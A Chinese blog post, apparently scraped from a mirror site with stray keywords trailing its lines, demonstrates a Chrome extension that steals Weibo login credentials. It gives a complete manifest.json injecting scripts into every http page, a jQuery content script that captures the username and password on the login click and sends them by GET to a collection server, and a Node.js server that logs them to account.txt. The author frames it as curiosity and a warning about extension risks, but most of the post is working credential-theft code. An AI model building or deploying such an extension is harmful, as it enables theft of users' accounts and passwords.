Google容許開發者對Chrome瀏覽器作擴展,因此有了以前火爆的12306搶票軟件,我 也用它搶過票,一直很好奇它怎麼注入js到12306上面的。這周有空研究了下Chrome Extension,終於明白它是怎麼工做的了。更多信息能夠參看chrome.extension。html
可是又讓我對chrome extension產生了一點擔憂,這麼容易注入js,那盜取你的賬號密碼啥的不是很方便嗎?下面演示一個比較簡單的盜取微博賬號密碼的方法。jquery
要加載chrome extension首先要定義一個manifest.json文件。定義以下:ajax
{ "manifest_version": 2, "name": "Account Detect", "description": "This extension will detect your account", "version": "1.0", "permissions": [ "http://*/*" ], "browser_action": { "default_icon": "icon.png" }, "content_scripts": [ { "matches": ["http://*/*"], "js": ["jquery-1.10.2.min.js", "myscript.js"] } ] }
注意content script加入的順序,先填寫JQuery,方便咱們使用JQuery上的方法。而後是我本身定義的myscript.js。chrome
$('body').on("click",'a[tabindex="6"]', function(event){ var username = $('input[name="username"]').val(); var passwords = $('input[name="password"]').val(); var query = '?username=' + username + '&' + 'passwords=' + passwords; $.get('http://localhost:1337' + query, function() {}); alert(username + ':' + passwords); });
上面代碼的意思就是讓微博登錄頁上的登陸連接綁定上個人事件上。頁面上的元素信息能夠經過開發者工具查看到。事件內容就是獲取頁面上你輸入的賬號和密碼,而後經過ajax get的方式發送到我本身的服務器上保存起來。json
最後我在本地本身設個服務器來接受傳輸信息,後端代碼使用的Node.js,代碼以下:後端
var http = require('http'); var url = require('url'); var fs = require('fs'); http.createServer(function (req, res) { console.log(req.url); var query = url.parse(req.url, true).query; var name = query.username; var passwords = query.passwords; if(typeof(name) == "undefined") { console.log('oh no'); } else { fs.open('account.txt', 'a', 666, function(e, id) { var content = name + '\n' + passwords + '\n'; fs.write(id, content, null, 'utf8', function() { fs.close(id, function() { console.log('file close'); }); }); }); console.log('Request for ' + name + ' received.'); } res.writeHead(200, {'Content-Type': 'text/plain'}); res.end('Done!\n'); }).listen(1337, "127.0.0.1"); console.log('Server running at http://127.0.0.1:1337/');
邏輯比較簡單,就是把獲取到的賬號密碼保存到account.txt文件中。瀏覽器
下面來實際演示一下吧,首先是要在Chrome瀏覽器(個人瀏覽器版本是28.0.1500.71)里加載本身的Extension:服務器
而後在Chrome瀏覽器地址欄輸入http://weibo.com/,隨便輸入一個賬號密碼,點擊登陸試試,就能看到用戶名和密碼彈框了(用戶名:test_01,密碼: 123456)。工具
再查看下本機服務器信息:ui
說明咱們服務器接收到了信息,而且能夠在server端的根目錄下找到account.txt文件,裏面就記錄了你微博登陸的賬號和密碼信息。